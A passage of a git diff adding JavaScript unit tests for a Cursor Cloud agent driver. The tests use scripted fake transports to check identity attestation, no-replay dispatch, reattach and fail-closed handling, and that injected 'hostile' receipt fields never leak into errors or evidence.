assertContentFreeError(error, label) { + const blob = publicErrorBlob(error); + for (const marker of HOSTILE_ERROR_MARKERS) { + assert.equal(blob.includes(marker), false, `${label} leaked ${marker}`); + } +} + +function observeReceipt(request, overrides = {}) { + return { + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + events: [], + progress: { status: 'running', event_count: 0, elapsed_ms: 1, cursor: '1' }, + cursor: '1', + elapsed_ms: 1, + event_count: 0, + ...overrides, + }; +} + +function cancelReceipt(request, overrides = {}) { + return { + outcome: 'cancel_confirmed', + archived: true, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + ...overrides, + }; +} + +function reattachReceipt(request, overrides = {}) { + return { + reattached: true, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + ...overrides, + }; +} + +test('reconstruction: eight identity-value and unknown-key receipt cases stay content-free', () => { + const cases = [ + { + label: 'preflight-identity', + operation: 'preflight', + code: 'stale_identity_denied', + script: { preflight: [readyPreflightReceipt({ provider: HOSTILE_PROVIDER_TEXT })] }, + act: (driver) => driver.preflight(requestFor('preflight')), + }, + { + label: 'preflight-unknown-key', + operation: 'preflight', + code: 'unknown_key', + script: { preflight: [readyPreflightReceipt({ [HOSTILE_UNKNOWN_KEY]: true })] }, + act: (driver) => driver.preflight(requestFor('preflight')), + }, + { + label: 'observe-identity', + operation: 'observe', + code: 'stale_identity_denied', + script: { observe: [(request) => observeReceipt(request, { provider: HOSTILE_PROVIDER_TEXT })] }, + act: (driver) => driver.reconcile(requestFor('reconcile')), + }, + { + label: 'observe-unknown-key', + operation: 'observe', + code: 'unknown_key', + script: { observe: [(request) => observeReceipt(request, { [HOSTILE_UNKNOWN_KEY]: true })] }, + act: (driver) => driver.reconcile(requestFor('reconcile')), + }, + { + label: 'cancel-identity', + operation: 'cancel', + code: 'stale_identity_denied', + script: { cancel: [(request) => cancelReceipt(request, { provider: HOSTILE_PROVIDER_TEXT })] }, + act: (driver) => driver.cancel(requestFor('cancel')), + }, + { + label: 'cancel-unknown-key', + operation: 'cancel', + code: 'unknown_key', + script: { cancel: [(request) => cancelReceipt(request, { [HOSTILE_UNKNOWN_KEY]: true })] }, + act: (driver) => driver.cancel(requestFor('cancel')), + }, + { + label: 'reattach-identity', + operation: 'reattach', + code: 'stale_identity_denied', + script: { reattach: [(request) => reattachReceipt(request, { provider: HOSTILE_PROVIDER_TEXT })] }, + act: (driver) => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + }, + { + label: 'reattach-unknown-key', + operation: 'reattach', + code: 'unknown_key', + script: { reattach: [(request) => reattachReceipt(request, { [HOSTILE_UNKNOWN_KEY]: true })] }, + act: (driver) => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + }, + ]; + + for (const testCase of cases) { + const transport = createScriptedCursorCloudTransportV1(testCase.script); + const driver = bindCursorCloudDriverV1(transport); + if (testCase.operation !== 'preflight') { + driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched', testCase.label); + } + const thrown = errorOf(() => testCase.act(driver)); + assert.equal(thrown.code, testCase.code, testCase.label); + assert.equal(thrown.path, `cursor_cloud_transport.${testCase.operation}`, testCase.label); + assert.equal(thrown.name, 'RunContractV1Error', testCase.label); + assertClosedPublicError(thrown); + assertContentFreeError(thrown, testCase.label); + if (testCase.operation === 'preflight') { + assert.equal(cursorCloudCallsOf(transport, 'create').length, 0, testCase.label); + } else { + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + const evidenceJson = JSON.stringify(evidence); + assert.equal(evidenceJson.includes(HOSTILE_PROVIDER_TEXT), false, testCase.label); + assert.equal(evidenceJson.includes(HOSTILE_UNKNOWN_KEY), false, testCase.label); + assert.equal(evidenceJson.includes('sk-live'), false, testCase.label); + } + } +}); + +test('reconstruction: create and send malformed receipts are content-free dispatch_uncertain', () => { + const createHostile = launchBound({ + create: [(request) => ({ + created: true, + agent_id: request.proposed_agent_id, + ...identityFields(), + provider: HOSTILE_PROVIDER_TEXT, + })], + }); + const created = createHostile.driver.launch(requestFor('launch')); + assert.equal(created.disposition, 'dispatch_uncertain'); + assert.equal(created.detail_code, undefined); + assert.equal(created.detail_message, undefined); + assert.equal(JSON.stringify(created).includes(HOSTILE_PROVIDER_TEXT), false); + assert.equal(JSON.stringify(created).includes('SECRET'), false); + expectCode(() => createHostile.driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(cursorCloudCallsOf(createHostile.transport, 'send').length, 0); + assert.equal(cursorCloudCallsOf(createHostile.transport, 'create').length, 1); + const createEvidence = inspectCursorCloudLaneEvidenceV1(createHostile.driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(JSON.stringify(createEvidence).includes(HOSTILE_PROVIDER_TEXT), false); + assert.equal(JSON.stringify(createEvidence).includes(HOSTILE_UNKNOWN_KEY), false); + + const createUnknown = launchBound({ + create: [(request) => ({ + created: true, + agent_id: request.proposed_agent_id, + ...identityFields(), + [HOSTILE_UNKNOWN_KEY]: HOSTILE_PROVIDER_TEXT, + })], + }); + const createdUnknown = createUnknown.driver.launch(requestFor('launch')); + assert.equal(createdUnknown.disposition, 'dispatch_uncertain'); + assert.equal(JSON.stringify(createdUnknown).includes(HOSTILE_UNKNOWN_KEY), false); + assert.equal(JSON.stringify(createdUnknown).includes('api_key'), false); + expectCode(() => createUnknown.driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(cursorCloudCallsOf(createUnknown.transport, 'send').length, 0); + + const sendHostile = launchBound({ + send: [(request) => ({ + acknowledged: true, + agent_id: request.agent_id, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + provider: HOSTILE_PROVIDER_TEXT, + })], + }); + const sent = sendHostile.driver.launch(requestFor('launch')); + assert.equal(sent.disposition, 'dispatch_uncertain'); + assert.equal(JSON.stringify(sent).includes(HOSTILE_PROVIDER_TEXT), false); + expectCode(() => sendHostile.driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(cursorCloudCallsOf(sendHostile.transport, 'send').length, 1); + const sendEvidence = inspectCursorCloudLaneEvidenceV1(sendHostile.driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(JSON.stringify(sendEvidence).includes(HOSTILE_PROVIDER_TEXT), false); + + const sendUnknown = launchBound({ + send: [(request) => ({ + acknowledged: true, + agent_id: request.agent_id, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + [HOSTILE_UNKNOWN_KEY]: true, + })], + }); + const sentUnknown = sendUnknown.driver.launch(requestFor('launch')); + assert.equal(sentUnknown.disposition, 'dispatch_uncertain'); + assert.equal(JSON.stringify(sentUnknown).includes(HOSTILE_UNKNOWN_KEY), false); + expectCode(() => sendUnknown.driver.launch(requestFor('launch')), 'replay_denied'); +}); + +test('reconstruction: caller-request validation is not collapsed to the receipt boundary', () => { + const { driver } = launchBound(); + driver.launch(requestFor('launch')); + const replay = errorOf(() => driver.launch(requestFor('launch'))); + assert.equal(replay.code, 'replay_denied'); + assert.equal(replay.path, 'driver.launch.request'); + assert.match(replay.message, /never replayed/u); +}); diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs new file mode 100644 index 0000000..2a44ce0 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs @@ -0,0 +1,747 @@ +// Runtime tests for the P21 Cursor Cloud SDK ProviderDriverV1 adapter: +// injected transport sequences for preflight identity, create/send +// confirmation, dispatch uncertainty, and no automatic PR creation. +// This is not live Cursor Cloud qualification. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + CURSOR_CLOUD_CAPABILITY_REVISION, + CURSOR_CLOUD_DETAIL_CODES, + CURSOR_CLOUD_DRIVER_SCHEMA_ID, + CURSOR_CLOUD_PROVIDER_SLOT, + CURSOR_CLOUD_TRANSPORT_OPERATIONS, + assertCursorCloudTransportV1, + bindCursorCloudDriverV1, + createCursorCloudDriverV1, + cursorCloudDriverDeclarationV1, + describeCursorCloudDriverV1, + inspectCursorCloudLaneEvidenceV1, +} from '../mcp/v3/cursor-cloud-driver.mjs'; +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_OPERATION_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + assertCapabilityRequirementV1, + assertProviderDriverV1, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CLOUD_FIXTURE_AGENT_ID, + CLOUD_FIXTURE_BRANCH, + CLOUD_FIXTURE_MODEL, + CLOUD_FIXTURE_PROVIDER_RUN_ID, + CLOUD_FIXTURE_REPO_IDENTITY, + CLOUD_FIXTURE_REPO_URL, + LEAK_MARKER, + buildCursorCloudDriverFixtureV1, + createScriptedCursorCloudTransportV1, + cursorCloudCallsOf, +} from './fixtures/r1-cursor-cloud-driver-fixtures.mjs'; + +const fixture = buildCursorCloudDriverFixtureV1(); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function requestFor(operation, extras = {}, source = fixture) { + return buildDriverOperationRequestV1(operation, source.envelope, extras); +} + +function launchReady(transport = createScriptedCursorCloudTransportV1()) { + const driver = bindCursorCloudDriverV1(transport); + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); + return { driver, transport }; +} + +function transportCounts(transport) { + return { + preflight: cursorCloudCallsOf(transport, 'preflight').length, + create: cursorCloudCallsOf(transport, 'create').length, + send: cursorCloudCallsOf(transport, 'send').length, + observe: cursorCloudCallsOf(transport, 'observe').length, + cancel: cursorCloudCallsOf(transport, 'cancel').length, + reattach: cursorCloudCallsOf(transport, 'reattach').length, + }; +} + +test('factory surface is closed, frozen, and hard-bound to cursor-cloud', () => { + const transport = createScriptedCursorCloudTransportV1(); + const summary = assertCursorCloudTransportV1(transport); + assert.equal(summary.schema, 'codex-co-engineer.cursor-cloud-transport.v1'); + assert.deepEqual([...summary.operations], [...CURSOR_CLOUD_TRANSPORT_OPERATIONS]); + const driver = createCursorCloudDriverV1(transport); + assertProviderDriverV1(driver); + assert.deepEqual(Object.keys(driver).sort(), ['cancel', 'launch', 'preflight', 'reconcile']); + assert.ok(Object.isFrozen(driver)); + const declaration = cursorCloudDriverDeclarationV1(); + assert.equal(declaration.capability.provider, CURSOR_CLOUD_PROVIDER_SLOT); + assert.equal(declaration.capability.revision, CURSOR_CLOUD_CAPABILITY_REVISION); +}); + +test('the shipped declaration keeps asserting the honest Cursor Cloud posture', () => { + const capability = assertCapabilityRequirementV1(cursorCloudDriverDeclarationV1(), { + artifact_kinds: ['cloud_receipt', 'provider_report'], + create_pr_posture: 'prohibited', + dispatch_certainty: 'confirmed_launch', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + replay_posture: 'never_replay', + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'remote_provider_managed', + workspace_starting_point: 'pinned_pushed_sha', + }); + assert.equal(capability.provider, 'cursor-cloud'); + assert.deepEqual({ ...cursorCloudDriverDeclarationV1().features }, { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }); +}); + +test('describe reports bounded vocabularies and only false live claims', () => { + const description = describeCursorCloudDriverV1(); + assert.equal(description.schema, CURSOR_CLOUD_DRIVER_SCHEMA_ID); + assert.equal(description.provider, 'cursor-cloud'); + assert.equal(description.create_pr_posture, 'prohibited'); + assert.equal(description.live_qualification, false); + for (const value of Object.values(description.claims)) assert.equal(value, false); + assert.ok(CURSOR_CLOUD_DETAIL_CODES.length >= 16); + assert.equal(new Set(CURSOR_CLOUD_DETAIL_CODES).size, CURSOR_CLOUD_DETAIL_CODES.length); + assert.deepEqual([...description.forbidden ?? description.later_real_cursor_cloud_route.forbidden].sort(), [ + 'cli_fallback_after_send', 'create_pr', 'digest_only_launch', 'merge_or_push', + 'post_intent_retry', 'provider_or_model_substitution', 'same_session_reply', + ].sort()); +}); + +test('preflight is ready on a clean pinned workspace with attested exact model', () => { + const { driver, transport } = launchReady(); + const probe = cursorCloudCallsOf(transport, 'preflight')[0]; + assert.equal(probe.provider, 'cursor-cloud'); + assert.equal(probe.model, CLOUD_FIXTURE_MODEL); + assert.equal(probe.starting_sha, fixture.base_sha); + assert.equal(probe.run_id, fixture.run_id); + assert.equal(probe.assignment_id, fixture.assignment_id); + assert.equal(probe.child_envelope_digest, fixture.child_envelope_digest); + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); +}); + +test('preflight blocks dirty, missing origin, invisible SHA, unattested model, and base advancement', () => { + const cases = [ + [{ ok: false, detail_code: 'workspace_dirty' }, 'workspace_dirty'], + [{ ok: false, detail_code: 'origin_missing' }, 'origin_missing'], + [{ ok: false, detail_code: 'starting_ref_invisible' }, 'starting_ref_invisible'], + [{ ok: false, detail_code: 'starting_ref_invalid' }, 'starting_ref_invalid'], + [{ ok: false, detail_code: 'base_advanced' }, 'base_advanced'], + [{ ok: false, detail_code: 'model_unattested' }, 'model_unattested'], + ]; + for (const [receipt, code] of cases) { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ...receipt, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: code !== 'workspace_dirty', + starting_ref_visible: code !== 'starting_ref_invisible', + starting_ref_commit: code !== 'starting_ref_invalid', + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + detail_message: 'transport authored leak', + }], + }); + const driver = bindCursorCloudDriverV1(transport); + const result = driver.preflight(requestFor('preflight')); + assert.equal(result.disposition, 'blocked', code); + assert.equal(result.detail_code, code); + assert.doesNotMatch(result.detail_message, /leak/i); + assert.doesNotMatch(result.detail_message, new RegExp(LEAK_MARKER, 'u')); + } +}); + +test('preflight ready requires attested requested and effective model equality', () => { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: 'gpt-5.1-codex', + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + }], + }); + const driver = bindCursorCloudDriverV1(transport); + const result = driver.preflight(requestFor('preflight')); + assert.equal(result.disposition, 'blocked'); + assert.equal(result.detail_code, 'model_unattested'); +}); + +test('preflight rejects credential-bearing and duplicate identities without dispatch', () => { + const credential = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: true, + auto_create_pr: false, + }], + }); + expectCode(() => bindCursorCloudDriverV1(credential).preflight(requestFor('preflight')), + 'repository_credentials'); + assert.equal(transportCounts(credential).create, 0); + + const duplicate = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: true, + credential_bearing: false, + auto_create_pr: false, + }], + }); + expectCode(() => bindCursorCloudDriverV1(duplicate).preflight(requestFor('preflight')), + 'duplicate_identity'); + assert.equal(transportCounts(duplicate).create, 0); +}); + +test('launch dispatches only after authoritative agent, run, request, and branch identity', () => { + const { driver, transport } = launchReady(); + const launched = driver.launch(requestFor('launch')); + assert.equal(launched.disposition, 'dispatched'); + assert.equal(launched.detail_code, undefined); + assert.equal(launched.run_id, fixture.run_id); + assert.equal(launched.assignment_id, fixture.assignment_id); + assert.equal(launched.lane_index, fixture.lane_index); + assert.equal(launched.base_sha, fixture.base_sha); + assert.equal(launched.child_envelope_digest, fixture.child_envelope_digest); + const create = cursorCloudCallsOf(transport, 'create')[0]; + const send = cursorCloudCallsOf(transport, 'send')[0]; + assert.equal(create.auto_create_pr, false); + assert.equal(create.provider, 'cursor-cloud'); + assert.equal(create.starting_sha, fixture.base_sha); + assert.match(send.agent_id, /^bc-[0-9a-f]{32}$/u); + assert.match(send.request_id, /^ccr-[0-9a-f]{32}$/u); + assert.equal(send.envelope_text, fixture.envelope_text); + assert.equal(send.auto_create_pr, false); + assert.doesNotMatch(JSON.stringify(launched), new RegExp(LEAK_MARKER, 'u')); +}); + +test('create always sends auto_create_pr false and never authorizes a PR', () => { + const { transport } = launchReady(); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + driver.launch(requestFor('launch')); + for (const request of cursorCloudCallsOf(transport, 'create')) { + assert.equal(request.auto_create_pr, false); + assert.equal(Object.hasOwn(request, 'create_pr'), false); + } + expectCode( + () => bindCursorCloudDriverV1(createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: true, + }], + })).preflight(requestFor('preflight')), + 'merge_authority_denied', + ); +}); + +test('create exception after intent is dispatch_uncertain and never replayed', () => { + const transport = createScriptedCursorCloudTransportV1({ + create: [{ throw: true, code: 'transport_timeout', message: `timeout ${LEAK_MARKER}` }], + }); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + const launched = driver.launch(requestFor('launch')); + assert.equal(launched.disposition, 'dispatch_uncertain'); + assert.equal(launched.detail_code, undefined); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(transportCounts(transport).send, 0); +}); + +test('send acknowledgement failure after create is dispatch_uncertain', () => { + const transport = createScriptedCursorCloudTransportV1({ + send: [{ + acknowledged: false, + agent_id: CLOUD_FIXTURE_AGENT_ID, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: 'ccr-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + branch: CLOUD_FIXTURE_BRANCH, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + }], + }); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + const launched = driver.launch(requestFor('launch')); + assert.equal(launched.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); +}); + +test('cross-provider envelopes fail closed at the Cursor Cloud slot', () => { + const grokManifest = { + schema: 'codex-co-engineer.run.v1', + run_id: 'grok-not-cloud', + repository: { path: '/opt/codex-co-engineer-cursor-cloud/suite', base_sha: fixture.base_sha }, + objective: 'Wrong provider.', + assignments: [{ + assignment_id: 'grok-lane', + role: 'implement', + access: 'writer', + prompt: 'Do not launch.', + execution: { provider: 'grok', model: 'grok-4' }, + write_scope: ['mcp/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report'], + }], + policy: { + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }, + return_contract: { mode: 'verified_decision', include_artifact_refs: true }, + }; + const envelope = compileChildEnvelopeV1(grokManifest, 'grok-lane'); + const driver = bindCursorCloudDriverV1(createScriptedCursorCloudTransportV1()); + expectCode(() => driver.preflight({ + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }), 'provider_slot_mismatch'); +}); + +function identityFields() { + return { + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + }; +} + +function dispatched(driver = bindCursorCloudDriverV1(createScriptedCursorCloudTransportV1())) { + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + return driver; +} + +test('reconcile observes in-progress Cloud identity without claiming extra Git facts', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const observed = driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })); + assert.equal(observed.disposition, 'in_progress'); + assert.equal(observed.detail_code, 'live_progress'); + assert.match(observed.detail_message, /^status=running events=1$/u); + const observe = cursorCloudCallsOf(transport, 'observe')[0]; + assert.equal(observe.starting_sha, fixture.base_sha); + assert.equal(observe.run_id, fixture.run_id); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.branch, CLOUD_FIXTURE_BRANCH); + assert.equal(evidence.git.starting_sha, fixture.base_sha); + assert.equal(evidence.git.head_sha, fixture.base_sha); + assert.equal(evidence.status, 'running'); + assert.equal(Object.hasOwn(evidence, 'tests_passed'), false); + assert.equal(Object.hasOwn(evidence, 'pr_url'), false); +}); + +test('terminal reconcile requires provider status plus independently verifiable Git evidence', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'completed', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const terminal = driver.reconcile(requestFor('reconcile')); + assert.equal(terminal.disposition, 'terminal'); + assert.equal(terminal.detail_code, 'terminal_evidence'); + assert.match(terminal.detail_message, new RegExp(`branch=${CLOUD_FIXTURE_BRANCH}`)); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.git.merge_base_sha, fixture.base_sha); + assert.equal(evidence.git.linear_history, true); +}); + +test('terminal reconcile fails closed when Git/branch/base evidence is missing', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'completed', + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'malformed_receipt'); +}); + +test('invisible starting SHA blocks before create and is never launched', () => { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: false, + ...identityFields(), + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: false, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + detail_code: 'starting_ref_invisible', + detail_message: 'not pushed', + }], + }); + const driver = bindCursorCloudDriverV1(transport); + const blocked = driver.preflight(requestFor('preflight')); + assert.equal(blocked.disposition, 'blocked'); + assert.equal(blocked.detail_code, 'starting_ref_invisible'); + expectCode(() => driver.launch(requestFor('launch')), 'blocked_lane_denied'); + assert.equal(transportCounts(transport).create, 0); +}); + +test('duplicate or drifted Cloud run identity fails closed and is never substituted', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: 'run-other-cloud', + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); + assert.equal(transportCounts(transport).create, 1); + assert.equal(transportCounts(transport).send, 1); +}); + +test('restart reattaches only the exact recorded agent, run, and request identity', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const send = cursorCloudCallsOf(transport, 'send')[0]; + const restarted = driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })); + assert.equal(restarted.disposition, 'in_progress'); + const reattach = cursorCloudCallsOf(transport, 'reattach')[0]; + assert.equal(reattach.agent_id, send.agent_id); + assert.equal(reattach.provider_run_id, CLOUD_FIXTURE_PROVIDER_RUN_ID); + assert.equal(reattach.request_id, send.request_id); + assert.equal(transportCounts(transport).create, 1); + assert.equal(transportCounts(transport).send, 1); +}); + +test('restart with a different recorded identity never starts a replacement run', () => { + const transport = createScriptedCursorCloudTransportV1({ + reattach: [(request) => ({ + reattached: true, + ...identityFields(), + agent_id: 'bc-other-agent', + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + expectCode( + () => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'stale_identity_denied', + ); + assert.equal(transportCounts(transport).send, 1); +}); + +test('needs_attention is unresolved evidence and never a same-session reply or new run', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'needs_attention', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + attention: { question_id: 'q-cloud-1' }, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const attention = driver.reconcile(requestFor('reconcile')); + assert.equal(attention.disposition, 'unresolved_attention'); + assert.equal(attention.detail_code, 'unresolved_attention'); + assert.match(attention.detail_message, /unsupported/u); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(transportCounts(transport).send, 1); +}); + +test('uncertain dispatch plus lost observation stays dispatch_uncertain without replay', () => { + const transport = createScriptedCursorCloudTransportV1({ + send: [{ throw: true, code: 'transport_lost', message: 'send dropped' }], + observe: [(request) => ({ + ...identityFields(), + agent_id: 